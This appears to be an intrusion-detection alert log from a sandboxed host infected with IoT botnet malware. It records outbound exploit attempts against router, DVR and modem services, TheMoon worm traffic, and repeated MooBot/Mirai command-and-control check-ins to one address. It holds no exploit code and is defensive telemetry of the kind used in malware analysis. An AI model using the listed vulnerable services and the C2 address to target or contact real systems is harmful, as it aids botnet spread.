03/21/24-05:25:58.010716	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45602	7547	192.168.2.23	223.133.107.197
03/21/24-05:26:00.637117	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46364	7547	192.168.2.23	196.210.100.229
03/21/24-05:26:16.195365	TCP	2018132	ET WORM TheMoon.linksys.router 2	34686	8080	192.168.2.23	172.67.232.227
03/21/24-05:26:30.585683	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34974	80	192.168.2.23	131.148.74.14
03/21/24-05:26:01.874030	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38416	80	192.168.2.23	52.73.125.46
03/21/24-05:26:52.260501	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34586	80	192.168.2.23	67.227.215.198
03/21/24-05:25:48.286169	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45568	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:15.376251	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43296	7547	192.168.2.23	174.110.227.32
03/21/24-05:26:22.278794	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45262	7547	192.168.2.23	61.76.54.192
03/21/24-05:26:57.629548	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59412	52869	192.168.2.23	94.121.54.83
03/21/24-05:25:58.759349	TCP	2018132	ET WORM TheMoon.linksys.router 2	39458	8080	192.168.2.23	172.65.104.254
03/21/24-05:26:57.979511	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58122	7547	192.168.2.23	115.4.73.58
03/21/24-05:26:48.561069	TCP	2018132	ET WORM TheMoon.linksys.router 2	42878	8080	192.168.2.23	172.67.51.252
03/21/24-05:26:02.542739	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35850	7547	192.168.2.23	81.157.31.24
03/21/24-05:26:15.221383	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40360	7547	192.168.2.23	203.220.190.64
03/21/24-05:25:58.927362	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43934	7547	192.168.2.23	77.25.132.174
03/21/24-05:26:08.137994	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52980	80	192.168.2.23	23.59.182.108
03/21/24-05:26:55.786844	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36946	80	192.168.2.23	23.50.29.254
03/21/24-05:26:39.648644	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36800	80	192.168.2.23	40.82.218.181
03/21/24-05:26:53.026105	TCP	2018132	ET WORM TheMoon.linksys.router 2	38616	8080	192.168.2.23	172.65.158.2
03/21/24-05:26:00.299248	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49712	7547	192.168.2.23	59.22.40.124
03/21/24-05:26:16.673642	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46746	7547	192.168.2.23	179.153.183.144
03/21/24-05:26:01.531597	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43280	80	192.168.2.23	52.44.5.126
03/21/24-05:26:18.322398	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	33784	80	192.168.2.23	35.174.120.235
03/21/24-05:26:53.982692	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	39646	80	192.168.2.23	212.154.221.41
03/21/24-05:26:57.859389	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59592	52869	192.168.2.23	94.121.54.83
03/21/24-05:26:07.388938	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41204	7547	192.168.2.23	177.138.109.192
03/21/24-05:26:31.275447	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	51256	55555	192.168.2.23	172.65.210.0
03/21/24-05:25:19.423455	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45148	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:49.227623	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42718	80	192.168.2.23	208.84.41.212
03/21/24-05:26:15.207710	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33270	7547	192.168.2.23	32.211.13.103
03/21/24-05:26:33.789900	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	52042	8080	192.168.2.23	115.3.111.124
03/21/24-05:26:23.073757	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46850	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:00.591219	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53292	7547	192.168.2.23	203.173.133.194
03/21/24-05:26:16.673438	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51706	7547	192.168.2.23	78.185.217.124
03/21/24-05:25:57.683406	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45712	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:55.415823	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45140	7547	192.168.2.23	201.132.247.115
03/21/24-05:26:45.155069	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38712	80	192.168.2.23	91.218.188.247
03/21/24-05:26:31.365125	TCP	2018132	ET WORM TheMoon.linksys.router 2	50622	55555	192.168.2.23	172.65.83.203
03/21/24-05:27:11.331573	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	39528	8080	192.168.2.23	104.24.162.36
03/21/24-05:26:07.408072	TCP	2018132	ET WORM TheMoon.linksys.router 2	48102	8080	192.168.2.23	98.152.5.170
03/21/24-05:25:35.984334	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60602	80	192.168.2.23	66.96.147.195
03/21/24-05:26:23.819418	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	60746	55555	192.168.2.23	172.65.74.110
03/21/24-05:26:55.006335	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49334	7547	192.168.2.23	64.32.108.117
03/21/24-05:27:02.995574	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	36744	8080	192.168.2.23	216.55.111.157
03/21/24-05:25:59.627994	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35648	7547	192.168.2.23	115.20.204.85
03/21/24-05:25:45.613759	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45558	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:06.839008	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48766	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:13.500732	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42840	7547	192.168.2.23	121.7.59.12
03/21/24-05:25:59.588625	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39074	7547	192.168.2.23	115.2.119.193
03/21/24-05:26:50.015658	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47772	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:56.278967	TCP	2018132	ET WORM TheMoon.linksys.router 2	53106	8080	192.168.2.23	98.201.154.121
03/21/24-05:25:59.630155	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	50846	55555	192.168.2.23	172.65.184.114
03/21/24-05:26:45.801611	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	48108	55555	192.168.2.23	172.65.223.69
03/21/24-05:26:55.969307	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47948	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:02.732674	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35854	7547	192.168.2.23	81.157.31.24
03/21/24-05:26:01.431904	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57060	80	192.168.2.23	216.92.42.218
03/21/24-05:26:11.147140	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33916	7547	192.168.2.23	184.97.112.118
03/21/24-05:27:02.312604	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	42752	80	192.168.2.23	51.89.133.14
03/21/24-05:25:38.169186	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40968	80	192.168.2.23	172.168.155.7
03/21/24-05:27:06.960289	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	50872	80	192.168.2.23	212.179.180.9
03/21/24-05:26:55.204490	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45122	7547	192.168.2.23	201.132.247.115
03/21/24-05:26:18.568479	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	40694	55555	192.168.2.23	172.65.62.164
03/21/24-05:26:15.273051	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48738	7547	192.168.2.23	86.150.122.60
03/21/24-05:26:23.557742	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44172	7547	192.168.2.23	121.136.181.89
03/21/24-05:25:58.487485	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37378	7547	192.168.2.23	158.58.119.71
03/21/24-05:26:08.137994	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52980	80	192.168.2.23	23.59.182.108
03/21/24-05:25:58.405189	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60244	7547	192.168.2.23	177.192.228.24
03/21/24-05:26:52.228497	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60160	80	192.168.2.23	54.203.79.201
03/21/24-05:26:07.051044	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45964	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:02.076969	TCP	2018132	ET WORM TheMoon.linksys.router 2	34652	8080	192.168.2.23	98.243.14.5
03/21/24-05:27:02.256980	TCP	2018132	ET WORM TheMoon.linksys.router 2	35190	8080	192.168.2.23	172.67.122.62
03/21/24-05:27:09.866025	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50660	80	192.168.2.23	104.86.98.34
03/21/24-05:26:30.411890	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39096	7547	192.168.2.23	99.235.13.184
03/21/24-05:26:38.267585	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	59132	8080	192.168.2.23	34.117.53.26
03/21/24-05:26:57.697409	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58096	7547	192.168.2.23	115.4.73.58
03/21/24-05:26:11.317553	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46366	7547	192.168.2.23	179.153.183.144
03/21/24-05:26:56.995577	TCP	2018132	ET WORM TheMoon.linksys.router 2	34806	8080	192.168.2.23	172.67.102.24
03/21/24-05:26:01.531597	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43280	80	192.168.2.23	52.44.5.126
03/21/24-05:26:18.567899	TCP	2018132	ET WORM TheMoon.linksys.router 2	39436	55555	192.168.2.23	172.65.4.29
03/21/24-05:26:16.673653	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54392	7547	192.168.2.23	144.86.5.175
03/21/24-05:26:20.986929	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46320	7547	192.168.2.23	14.67.209.80
03/21/24-05:25:49.227623	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42718	80	192.168.2.23	208.84.41.212
03/21/24-05:26:18.568331	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	52988	55555	192.168.2.23	172.65.243.233
03/21/24-05:26:23.804238	TCP	2026102	ET EXPLOIT Linksys E-Series Device RCE Attempt	60764	55555	192.168.2.23	172.65.74.110
03/21/24-05:27:09.751271	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	41492	80	192.168.2.23	212.220.85.79
03/21/24-05:25:57.961715	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43894	7547	192.168.2.23	186.138.198.149
03/21/24-05:26:01.431904	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57060	80	192.168.2.23	216.92.42.218
03/21/24-05:26:11.787328	TCP	2018132	ET WORM TheMoon.linksys.router 2	36114	8080	192.168.2.23	172.64.229.173
03/21/24-05:26:58.728107	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57856	7547	192.168.2.23	115.4.73.58
03/21/24-05:27:06.888800	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	57828	80	192.168.2.23	212.24.19.138
03/21/24-05:25:59.785403	TCP	2018132	ET WORM TheMoon.linksys.router 2	38140	8080	192.168.2.23	98.222.181.87
03/21/24-05:26:27.426449	TCP	2018132	ET WORM TheMoon.linksys.router 2	47436	8080	192.168.2.23	172.65.114.49
03/21/24-05:26:30.497684	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47148	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:09.751188	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	44994	80	192.168.2.23	23.202.65.219
03/21/24-05:26:55.979224	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42724	80	192.168.2.23	5.201.215.40
03/21/24-05:26:13.787575	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46486	65535	192.168.2.23	109.205.214.35
03/21/24-05:27:11.331573	TCP	2018132	ET WORM TheMoon.linksys.router 2	39528	8080	192.168.2.23	104.24.162.36
03/21/24-05:25:15.664194	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45126	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:51.698620	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33814	80	192.168.2.23	52.220.177.74
03/21/24-05:25:51.822440	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45854	80	192.168.2.23	8.26.12.90
03/21/24-05:26:53.982692	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	39646	80	192.168.2.23	212.154.221.41
03/21/24-05:25:42.857960	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45072	80	192.168.2.23	23.220.199.215
03/21/24-05:26:39.319998	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58400	80	192.168.2.23	2.19.109.114
03/21/24-05:27:02.995574	TCP	2018132	ET WORM TheMoon.linksys.router 2	36744	8080	192.168.2.23	216.55.111.157
03/21/24-05:26:15.069541	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46814	80	192.168.2.23	91.197.142.75
03/21/24-05:26:45.091850	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56084	80	192.168.2.23	23.196.216.128
03/21/24-05:26:58.263346	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53700	7547	192.168.2.23	183.123.13.78
03/21/24-05:26:33.790026	TCP	2018132	ET WORM TheMoon.linksys.router 2	56020	8080	192.168.2.23	175.233.25.38
03/21/24-05:26:35.996536	TCP	2018132	ET WORM TheMoon.linksys.router 2	45898	8080	192.168.2.23	184.163.104.142
03/21/24-05:26:57.599478	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40004	7547	192.168.2.23	175.240.225.222
03/21/24-05:26:59.269798	TCP	2018132	ET WORM TheMoon.linksys.router 2	54518	55555	192.168.2.23	172.65.40.27
03/21/24-05:25:59.588759	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39076	7547	192.168.2.23	115.2.119.193
03/21/24-05:25:11.127101	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	44694	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:17.127537	TCP	2018132	ET WORM TheMoon.linksys.router 2	38410	8080	192.168.2.23	172.83.72.16
03/21/24-05:25:18.083433	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45128	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:15.438079	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	46652	80	192.168.2.23	159.235.96.182
03/21/24-05:27:06.596641	TCP	2049119	ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017)	48944	80	192.168.2.23	54.197.65.32
03/21/24-05:25:33.407552	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45238	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:01.874030	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38416	80	192.168.2.23	52.73.125.46
03/21/24-05:25:59.306918	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39026	7547	192.168.2.23	115.2.119.193
03/21/24-05:26:15.665187	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43556	7547	192.168.2.23	179.113.95.97
03/21/24-05:26:31.275447	TCP	2018132	ET WORM TheMoon.linksys.router 2	51256	55555	192.168.2.23	172.65.210.0
03/21/24-05:27:11.651329	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54636	7547	192.168.2.23	179.52.84.164
03/21/24-05:26:15.293052	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	34744	8080	192.168.2.23	188.120.197.16
03/21/24-05:25:23.453902	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45234	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:52.260501	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34586	80	192.168.2.23	67.227.215.198
03/21/24-05:25:24.785732	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45236	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:58.235285	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43944	7547	192.168.2.23	186.138.198.149
03/21/24-05:26:45.262947	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42074	80	192.168.2.23	18.233.18.213
03/21/24-05:26:27.043680	TCP	2018132	ET WORM TheMoon.linksys.router 2	48242	55555	192.168.2.23	172.65.200.184
03/21/24-05:26:34.207509	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47250	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:38.267585	TCP	2018132	ET WORM TheMoon.linksys.router 2	59132	8080	192.168.2.23	34.117.53.26
03/21/24-05:25:59.883245	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42270	7547	192.168.2.23	115.7.229.68
03/21/24-05:26:15.069541	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46814	80	192.168.2.23	91.197.142.75
03/21/24-05:26:11.610686	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33828	7547	192.168.2.23	5.22.89.147
03/21/24-05:25:59.603209	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42260	7547	192.168.2.23	115.7.229.68
03/21/24-05:26:55.614580	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37282	80	192.168.2.23	69.164.56.22
03/21/24-05:27:07.390094	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	39500	80	192.168.2.23	212.43.115.25
03/21/24-05:25:54.238090	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56826	7547	192.168.2.23	32.216.48.33
03/21/24-05:26:29.416319	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43868	80	192.168.2.23	20.37.141.249
03/21/24-05:26:23.108643	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60108	7547	192.168.2.23	174.112.142.104
03/21/24-05:26:55.674560	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46284	80	192.168.2.23	104.19.73.155
03/21/24-05:26:01.330188	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44128	80	192.168.2.23	159.65.59.130
03/21/24-05:25:54.521883	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37694	7547	192.168.2.23	92.172.61.75
03/21/24-05:25:34.739393	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45368	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:56.007962	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44510	80	192.168.2.23	209.237.187.170
03/21/24-05:26:15.438079	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	46652	80	192.168.2.23	159.235.96.182
03/21/24-05:26:39.319998	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58400	80	192.168.2.23	2.19.109.114
03/21/24-05:25:51.698620	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33814	80	192.168.2.23	52.220.177.74
03/21/24-05:26:00.022911	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49572	7547	192.168.2.23	59.22.40.124
03/21/24-05:25:48.204553	TCP	2018132	ET WORM TheMoon.linksys.router 2	58818	55555	192.168.2.23	172.65.21.247
03/21/24-05:26:18.580595	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	36950	8080	192.168.2.23	104.21.217.182
03/21/24-05:25:42.857960	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45072	80	192.168.2.23	23.220.199.215
03/21/24-05:26:37.035712	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53118	80	192.168.2.23	212.129.39.194
03/21/24-05:26:08.382430	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	46002	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:58.537166	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44184	7547	192.168.2.23	39.29.2.119
03/21/24-05:27:06.888800	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	57828	80	192.168.2.23	212.24.19.138
03/21/24-05:26:07.216711	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39344	7547	192.168.2.23	182.52.149.27
03/21/24-05:26:07.585673	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39364	7547	192.168.2.23	182.52.149.27
03/21/24-05:26:45.262947	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42074	80	192.168.2.23	18.233.18.213
03/21/24-05:25:54.348603	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56846	7547	192.168.2.23	32.216.48.33
03/21/24-05:26:14.876269	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36886	7547	192.168.2.23	94.120.220.139
03/21/24-05:25:59.885912	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35652	7547	192.168.2.23	115.20.204.85
03/21/24-05:25:50.959263	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45586	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:59.752376	TCP	2018132	ET WORM TheMoon.linksys.router 2	60562	8080	192.168.2.23	172.66.171.44
03/21/24-05:26:45.155069	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38712	80	192.168.2.23	91.218.188.247
03/21/24-05:26:09.578404	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	56108	8080	192.168.2.23	66.242.144.69
03/21/24-05:26:02.352317	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35820	7547	192.168.2.23	81.157.31.24
03/21/24-05:26:55.674560	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46284	80	192.168.2.23	104.19.73.155
03/21/24-05:27:12.417565	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48906	65535	192.168.2.23	109.205.214.35
03/21/24-05:25:41.558869	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54120	80	192.168.2.23	89.213.40.119
03/21/24-05:26:58.821102	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44186	7547	192.168.2.23	39.29.2.119
03/21/24-05:25:52.510973	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56362	80	192.168.2.23	164.90.233.195
03/21/24-05:27:02.312604	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	42752	80	192.168.2.23	51.89.133.14
03/21/24-05:26:37.035712	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53118	80	192.168.2.23	212.129.39.194
03/21/24-05:26:56.035579	TCP	2018132	ET WORM TheMoon.linksys.router 2	58114	8080	192.168.2.23	98.96.231.27
03/21/24-05:25:59.871881	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39088	7547	192.168.2.23	115.2.119.193
03/21/24-05:26:18.663520	TCP	2018132	ET WORM TheMoon.linksys.router 2	37890	55555	192.168.2.23	172.65.62.9
03/21/24-05:26:23.819418	TCP	2018132	ET WORM TheMoon.linksys.router 2	60746	55555	192.168.2.23	172.65.74.110
03/21/24-05:26:15.770428	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39802	7547	192.168.2.23	59.30.27.153
03/21/24-05:25:52.431289	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37936	80	192.168.2.23	137.184.158.188
03/21/24-05:25:41.451703	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59048	80	192.168.2.23	104.66.236.242
03/21/24-05:26:59.269798	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	54518	55555	192.168.2.23	172.65.40.27
03/21/24-05:25:58.447854	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47142	80	192.168.2.23	124.54.80.19
03/21/24-05:26:15.895227	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43616	7547	192.168.2.23	179.113.95.97
03/21/24-05:25:59.588525	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35634	7547	192.168.2.23	115.20.204.85
03/21/24-05:26:00.881270	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53298	7547	192.168.2.23	203.173.133.194
03/21/24-05:26:02.079466	TCP	2018132	ET WORM TheMoon.linksys.router 2	44236	8080	192.168.2.23	98.213.143.42
03/21/24-05:26:53.982692	TCP	2831299	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version)	39646	80	192.168.2.23	212.154.221.41
03/21/24-05:25:53.195108	TCP	2018132	ET WORM TheMoon.linksys.router 2	59718	8080	192.168.2.23	172.67.229.58
03/21/24-05:26:18.322398	TCP	2025756	ET EXPLOIT D-Link DSL-2750B - OS Command Injection	33784	80	192.168.2.23	35.174.120.235
03/21/24-05:26:15.339868	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33280	7547	192.168.2.23	32.211.13.103
03/21/24-05:26:15.485462	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39782	7547	192.168.2.23	59.30.27.153
03/21/24-05:26:00.407691	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33216	7547	192.168.2.23	78.29.95.90
03/21/24-05:26:27.043680	TCP	2027153	ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound	48242	55555	192.168.2.23	172.65.200.184
03/21/24-05:27:14.774046	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	48942	65535	192.168.2.23	109.205.214.35
03/21/24-05:26:12.100632	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58592	80	192.168.2.23	62.84.121.160
03/21/24-05:25:38.179760	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45372	65535	192.168.2.23	109.205.214.35
